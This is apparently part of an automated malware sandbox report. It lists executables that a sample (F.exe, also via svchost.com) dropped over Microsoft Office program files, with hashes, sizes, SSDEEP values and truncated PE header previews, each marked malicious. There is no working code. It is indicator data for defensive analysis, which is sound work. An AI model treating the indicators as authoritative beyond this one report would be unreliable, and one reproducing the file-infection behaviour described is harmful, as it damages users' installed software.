SHA-256:	2C336BF005CD201043984D768114341FB8B0E8C626A11465A60DF854EF0B2984
SHA-512:	EEABBA2E510054D3A93E9EAE0563CAF46474757E9AD72F79D2D254C783345067D6D0FB46E85A631030A0242789FA3F3B918EDECC8DCC953EDF0283447C19565B
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	161968
Entropy (8bit):	6.521602439211849
Encrypted:	false
SSDEEP:	3072:zr8WDrCmNDS5lSkjITI1FeBT77NDS5lS3j+Wzy6oUSA7hZ:PumNDS5lSyFeBTfNDS5lS7zUrsZ
MD5:	B3E7C226A4A331C7E684E40A5EA2F167
SHA1:	A2DAF5332D21746897EEC7B131374026FC0A6F4E
SHA-256:	8D819080F7EF8DCD45E539C64026D93F09C51C80DBC86BE86843D09A6B5FAFA5
SHA-512:	2D2DE9E732D6E63BFB666BA7B80F6A36BF85FC56E43F6064C62BCC557D1372F29C97510304201BC3AEBF6B6FF821F3226BFFA11457D868D5430566CE260499D5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	159560
Entropy (8bit):	6.570907498262082
Encrypted:	false
SSDEEP:	3072:zr8WDrCGklWPsom9TiWWWWWWWQM+FtWAzhIwaeENinkf8xw3xUFv2tGPrtPmF:Pukb5zPaNQnBxw34Oita
MD5:	C59DC4806618B251A7D2DF183DC2F424
SHA1:	F1DC673B63BAA54B719167BAFDB33FF6C31BA67C
SHA-256:	A4817EA9A097D7F66D25BE68972A63E0C5BA7B6FF75FEA4A962C848CAFAB35B8
SHA-512:	71E9945E2E097640D4143198C13C5DBEC8340F8278306A34E017C3DE4A9BD0E88FB2C8DCF3A074935ACA32F329C440760980D1E8D47612F77958B108AE5581D0
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2233240
Entropy (8bit):	6.296579565439519
Encrypted:	false
SSDEEP:	24576:HDZgOA74U4o//sbtwvZTqFDk9sg71SmY90gh/G7QJoma+9duNGeVG29H:jqHVhTr5UmY90sGE5dIDG29H
MD5:	F1DE18FEED22A8E7630AEC79D099A8D4
SHA1:	7F500779BD5900802BE6378DDC6914D865823614
SHA-256:	34A7FBF7E86EED217C78BEB3D623DA57628EBFA8C5BC9EE2565BDAA51538A696
SHA-512:	C1EF91874D23626BAD6BB799ED2F1ED238429FA147F5EAEB955EDC51CAAD7F6325CEB6C554E3D15D598E4A54C77EF077D903FCC3DA093F0375765E68E6B40A75
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	214432
Entropy (8bit):	5.989123271366133
Encrypted:	false
SSDEEP:	3072:zr8WDrCeVFptXofXXXXXXuh9gLzltw6Q1hqOJHrtTh:PuytXofXXXXXXASLzb9uhqK
MD5:	9F2A347123D639951FEE07457AAF9843
SHA1:	7519B79067F897D426E58DB4904F02ACEF2593A8
SHA-256:	C3AA5CFB1C2128BDD9A182170F993EA252CC57A69F2568B9BE61107AFD5CB512
SHA-512:	0402D3741F1C4A22835C59CD5A944D7762C0568E836CBDE8BC7BC389C7CF784D0A0C9F8A03B44A4241F6CE2545334222046B847A2B56AD5E4E182C959AA0A090
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	620840
Entropy (8bit):	6.5831228635669286
Encrypted:	false
SSDEEP:	12288:moBdI/BUQtsfBCegl2eccL1q/xRyye7BfcwqEhDe:moM/BB0Bml2m1q/xRPCcwFC
MD5:	6892F37A015DB48C0CA5FA54DF6D7CB2
SHA1:	65B2ABD3F0868D94F913387DD198336E9EAA2B57
SHA-256:	9E7D2DCF0E2B775911356828FCD8A6DC3217031ED3E746D31DE5855238D7289B
SHA-512:	6A7222CECE8289A43290E90F118CFD452F81023420491933FEDEA439D3D6AB7FF7488F41FE99F339B51A775AA27F1A717FBBAF08FCF29DDECE0CCA459139BC6E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1568248
Entropy (8bit):	5.675085165215227
Encrypted:	false
SSDEEP:	12288:uwF+k53zCG2tIuQ6DtJQSZDhLOhkZzV5i9w/lmd+jrcUiACW:rFXG6uQ6D9L2uV50AlmsjYUiAB
MD5:	F2FEC0ED0FCF36092C073FC597FD1C55
SHA1:	42C48161899442B2DB934156B56F971ABF1E2038
SHA-256:	9A3AEEE8B7D73C4F99C36B0039840B748F0AC01B9A4A3C4B5FA2B092636C0B88
SHA-512:	A7FBA18577A07B30F7E1417B318A5904CA355F2D126A8120E22466B4FA9D028E24E03B79D661D361B6DD38DFABA1A5096634E0E36E63A7D27C396D3625A22FA0
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	634800
Entropy (8bit):	6.707249248874713
Encrypted:	false
SSDEEP:	12288:ff/4sOdw+RfEB6tuAlnWhGZco6ijmn5jFTSt7yCPUkazi7JThVoSZeR6aQTJ:X/4Vdw+Ra6V6g2kazidN6SoEVF
MD5:	566DCF1D1A91B81E2353CAD864F7C959
SHA1:	A8A04AD99971D86C04C154B62AB309DD114FDC3E
SHA-256:	B1C16EA839550EAE959FDECA318372B0FE11613F581445BB4CFB0AEA77D0FADC
SHA-512:	3D233B07750A27792370E553B03A9479390A589942FAE8A0447A2CA08C27EFC719DFC4BF51051531C605F7E247430471F38C2FB2F603C4299494136EFF0C8A82
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	789664
Entropy (8bit):	6.688069733913981
Encrypted:	false
SSDEEP:	12288:mKxLM1deLycUTc1kZi7zb1QRHhhj7WGvF5PYcdTFtZ3G97aSDGGHrbTwqFwydBfY:myY14evTc1kZi7zb1KHL8vbTlwOB
MD5:	CC253EFCC1978365C16B2180685B3FD2
SHA1:	E221F78C79B72C24595FAA23A71AB078F4BEFF49
SHA-256:	C2B4875CB4E160A39B1ED5666E8100B18060D3CFAF52EF52C001B791A6E44B6D
SHA-512:	BF72245549DC24C163C6668AFD7F1CB8FD1D876460C864490D9288BC7EECCBA34709B9FF40720808AD00844DD8F43A3E373D1616A2CE4A680BA1A9AC2408ED81
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917048
Entropy (8bit):	3.839578576312592
Encrypted:	false
SSDEEP:	6144:PuoBeXsm81c57ZXFzY5Ucyw4TapP25xxlq4cUcMeTOMzwMwZ:TKs78A5UcyOPexxPcUcMeyvZ
MD5:	451A02B8E292FBD664B654C28C31F8B9
SHA1:	7FFA3FE4C28716A3BC2D80779BDD7F23C54F5327
SHA-256:	0C7DECF13C25A15488EF9E271A1181BBE8A36A183250997ABB1BD21D7BF097F4
SHA-512:	DB59EEFBEFD8734F2B80E314B0F4DE21EBDAA23042226FDEE4671B04A7292F0ABFD6A8E20BDFF977C39EA6FDE37FA02BE69EB2342D65A335E53748314374CDE2
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4099520
Entropy (8bit):	3.7214924488610253
Encrypted:	false
SSDEEP:	12288:jyKs7cvZIFpCYVIUN2mGsb8HtkLaHLH04cLbUBRjLmP29DyZbT9oc/m06aCzE6hE:jyKsY+dy0ZScIBqBT11S0
MD5:	2D199B2128DB10FAB5D5B9E42012C0C3
SHA1:	B62D19530CE4FE15B51617B1E3A2B7049BFB0A6F
SHA-256:	A121D7A3A63D19B05BE33BA7C2391F206E47681FA284E7CA291A5431661B67FB
SHA-512:	022EF54CDCF41E1C8FF0511D9E5AF928394213321571B1C9BF1E6B3AA1D5FB1E29061E5C191B7669F7E2A739B9746312C091D7DDD7F8882145F09FD8B346F4B3
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	452120
Entropy (8bit):	6.064959023307563
Encrypted:	false
SSDEEP:	6144:Pu7vhCpFviM0OKAOVf3m+2fCz29fx8/eAeTu:CEpFVKj3mFn9q
MD5:	34D25D2E6B58568411FAD456684772FD
SHA1:	5D9146208EBD9CD2AB1A7B83D90A60205AA2EE9E
SHA-256:	1273B781FF6EE61A3C58A43AF145B03E36274A6B16297BB8A2E13164349242B2
SHA-512:	87DCB3986A415E45C274F2855EB7DA68AA3C36D7A71AC77DAE3E027018003D47BC330B2587AEE4DF7F62BEAE7B4ABB0BA5F0A672D8E0DA23CB6B066AF75BA234
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	116664
Entropy (8bit):	6.585821757768255
Encrypted:	false
SSDEEP:	3072:zr8WDrCtuGaz7jFQ68ICP5q0WISDr34W+wst:PutRazrA5q0WISDrZS
MD5:	40A8D5EE6521EA8FC13C48C47C9B57B6
SHA1:	5FB8A2379097B79DBB9B165F7C487D20DC1625F2
SHA-256:	AC909FA0CFE8E16CB2A414A4B0F0B44E0D10085ECAE1D9F53A8C202DC054154C
SHA-512:	333184A3A961A38C6F09B279B7BF1A31FA4FBB0405CD4D39075A52554ECB8A1C23454D02CA63698327C70C5AE1C32340561C0C6F33A88ABDEF544F65AD42F35E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	167392
Entropy (8bit):	6.5469411407981974
Encrypted:	false
SSDEEP:	3072:zr8WDrCcWKZbTKeR3Tzp+8IxR8jYYrjHaVLIPSL1CgNX:PucWK11Rp+8II5SLUgp
MD5:	67496215F23C3D121C3716927553975E
SHA1:	3FB19B3855F6FEDCFCEAE694DC5C28683E3653F4
SHA-256:	D0C2DF02E3DED17200DC56B693F52B47E7D960D05C6B6B5F7716997419303ECB
SHA-512:	0EB0D378F109604C568C732A197D9412A65221A4AD36889873EA3652D5D0382D40C9D5B38BD51F501E4BD55BFE2A326AE4D06F485D3129C9A2AC1C11CAFC0567
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	670928
Entropy (8bit):	6.023912988523441
Encrypted:	false
SSDEEP:	12288:+wbRB+ZRhFfGNpzX5PtiPWRnTLtx5eq4/RnYRoS2Ds+2EYR1XLlShtg7ksyST2Rz:+wbT+ZR3fGrzX5PtiPWRnTLtx5eq4/R9
MD5:	2B5B1A87C47D9C38BFA8D1F52BACF31E
SHA1:	A995A7645E47DE7EE659286613BAA71B531BB7AD
SHA-256:	2AF58E681F49488E146E626D3D94F366C5A58D0B78729D491D2688D214264A4D
SHA-512:	78F8F078E2924E7CD977F068533E98AB80AC8DBA11960BC2A5D9AB4ADC93A0A72D62A9F2D920EDA5F1D5E4C18085E6171AA9AF075C3872AFCC06B06077EF1A96
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115920
Entropy (8bit):	6.214080793399046
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCiwyK75Rp1Ukkz2zct/rzdaBotnMuvWM6TUaE:zr8WDrCiwyK1Fiz2ir+o5vWM6TUaE
MD5:	851430DBF73C5925ED0C0AB46B4704FF
SHA1:	794C0FF390BE93A23BF28DDBE9DD26B81604BF5E
SHA-256:	F6F47F6D0027988B9DD6171C72257050C195ABDA9CE45346C01D000AD35998B1
SHA-512:	A8A081DFEB1D4491392013A1C14F95A40AB8DEF526294DD47B5F289ECC5C232D7437E4E0AA0E21A817F049F5FCD9EC7859E8A32FECE58749F89A34F6FCF83882
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137776
Entropy (8bit):	6.525052332322423
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrC1LS+I1HtQdiHN4zbyezltnzGd1XuDxhkrTJwNZ5wmW1aHba:zr8WDrC2Mi+zWeXdswvqiHm
MD5:	27361BE6CB3788839CD6DF5A0A636A6E
SHA1:	A8D3D9E774B7D76F00D10AB28DE26BBCCBC676DB
SHA-256:	A92037FDB4FE25E454D66D24177DD12FE89FAA6F11D0CEEADC687EF824CC3DE1
SHA-512:	3E8E821A4419C45FFA5F15AE574673684B25BDF310D48ED143D2EE6DE19F32F75C7DA0B9AFAFD3C4B27136E0C8632C092E365101E31E559AF731802D38B180F9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1206680
Entropy (8bit):	4.882283973567494
Encrypted:	false
SSDEEP:	12288:Y61ZFViRpx5tuwZl4asd/arEISgX0IkEMhTy:Y61jViRTfVINdCr6gX0hEl
MD5:	F0692573BEC940B10989FB076CF592CF
SHA1:	767783B45CB33834116997839FD3FE8CC197A906
SHA-256:	5ACCAE35532575F704C11E35DE05F5EC6C3A30D56AF91C2D22510157FC131607
SHA-512:	8F0F2881459C49C2F4F2A2E74D463871C157610ACF4FDBBE48FBD14B1798FEE8820822B4A5ED32F7FE871429E91A94859EAA7FD2798062723E594CDBA1364644
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	400336
Entropy (8bit):	6.659452867927771
Encrypted:	false
SSDEEP:	12288:w1rOCPapfd5bhooUBuFiExw/LXa20Dj6EzfJ:8rfIbbhooUBu3wzXa/Dj64
MD5:	3F124E3F206A45B5250F2C1F482B2352
SHA1:	2F23D83DC65BDEE9E726FB20052F01AA53D693F0
SHA-256:	D9D8BDCD8F5BBC87F755DBD7D8D0C7EF52C98A0E3539C8D27C08D3C45888C2C0
SHA-512:	C186E181EEAB666FA4E97FA5B750394421832221B5DF740BA6985AE8EBC49EF67969FD6F429C8F6094CC94EC548CBB3E10A473EE8A2FD52FA00110B6DA44B214
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1662344
Entropy (8bit):	4.281575468495792
Encrypted:	false
SSDEEP:	3072:zr8WDrCPK2OKsuWoZEsVK2OKsuWoZEckAQckAIDpAPfKrss1yyKrss1yAZDvYbNs:PulztkAzkAZqrEdrEAZUCwFjNNYEzcL
MD5:	0861465FD197D10AC5A8C37CE7B6AA62
SHA1:	2D76D722FD6806A45ABB733FD1E54288DFD3A05C
SHA-256:	7812FB1CD726D81ACC193605C5C9EEDF84FCB4A3A912FD5B9012A1A0DD27D5A2
SHA-512:	C019C0EB50A41C009E5878FA4AD38EDA155F79573C9755F2E334BAB3D75B480BB2C20988A560C1CAEAD8198A1AD60A0A4FECC74EEC2EE016CC37D2300B72BBFD
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3531712
Entropy (8bit):	3.7839855914258114
Encrypted:	false
SSDEEP:	6144:Pu/gSRJQYKV++VYwjatvsDVpDsehRAKzYM:yQYZTWbDj5
MD5:	ACFE1EB24D010D197779C47023305858
SHA1:	5EF31BA99319ED468EC9DCB8BF43C888B5A8B48F
SHA-256:	D937B616BB6403C2D0AA39C3BDEFC7A07023C18B2FE1F4AFBB9400AFF2CBEB1F
SHA-512:	048FEEE926AD593265180CE8E07858E28BDB2876A6A41250B9AEDA024429CA89D9A17C1C7FFA2ED73E0349B3F681A92F22730CEE69F411D3698FD5557A5CD027
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	125352
Entropy (8bit):	6.417997787493655
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCSKfEBr3fHT4nAzHGkYJ+ziw6+zeOxqjQ+P04wsZLnDrC:zr8WDrCSPh3IAzHGEJAr8WDrC
MD5:	29D3EC8A5E192D7FA98A35F8AA67D3E1
SHA1:	FC6327B763DB9E9B037444097D0B5352E221A27E
SHA-256:	334DE79548B7E2520B2E5BBD32331AD8EEF6783C80AD50B796D408A483C43F02
SHA-512:	A8E2D554E96569A3DCB5AC107951B3260D3315F89F1B66718B819FBF87DBFD1228B772632922FF1859749F1B9EF353AC74906CA67A648E16A894EE097C965CDF
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4319112
Entropy (8bit):	3.816408890865793
Encrypted:	false
SSDEEP:	6144:PuXUh82lTMY/C3uuQyMyquNlBXYJ7M444IB:okyIgG47B
MD5:	0DF102A9ED5DDD0C490485998934BED6
SHA1:	B973807A3692668055A35A29C53C7F38669C8856
SHA-256:	9B42DD935106C8B407E7C607D3CD0AF533DFA3076576AC7EA2D838901CC6B4E2
SHA-512:	497E2C814A5B8B412540018D9BB5B3A47E0545FC7C280DB710052C8F77FF593E58881348B237FA892F7E208B632921D0962266E60CC5797389DA0122525AD496
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	785448
Entropy (8bit):	3.938581251810774
Encrypted:	false
SSDEEP:	6144:PurWSXeSC+hBMdNRneNMToeGYeneqjpGtBlmF:2LevUEcLe9l2
MD5:	B3C5F9613FB03A2AA578C29371295F77
SHA1:	32F9D3D1BF7BA8F34742900B9DA4A0FCF0F975CF
SHA-256:	08320B97919246079B98A5BFD40A67B5DA1452B166F2B9859E21D339998162D1
SHA-512:	5037960BC459159BA3D534B7585D6CD172A5563E075FE98EF1932EBA2BD65BCA37B99D782B1EAB5C33ADBA30DC63E8627140D60BD9028112D01BB9EE5A02EF15
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1122752
Entropy (8bit):	3.914306134303823
Encrypted:	false
SSDEEP:	3072:zr8WDrCqyTUawK12P04ti0o5gmQNJDJnJG20FxPlJPJSS12Zzwww6br8WDrC:Puqs4wqmQN59wtSS2zwmXu
MD5:	80D88865488BDD222B66575B9D6524CE
SHA1:	010B508B8090B80631DEE76BC29E6E5101D3E71B
SHA-256:	E013DFE9C86AC6738CDB6238D5BDB4AEFE77A543D0AE6196637F4514A25F8B75
SHA-512:	1753A60E52840ABAAA7088BD5D8C6170C7B77AC26C13AFF52853E511CA372970367FC511B5AC449D8F2EEF0112419E114422EC2B69566BF3D068936047C878D9
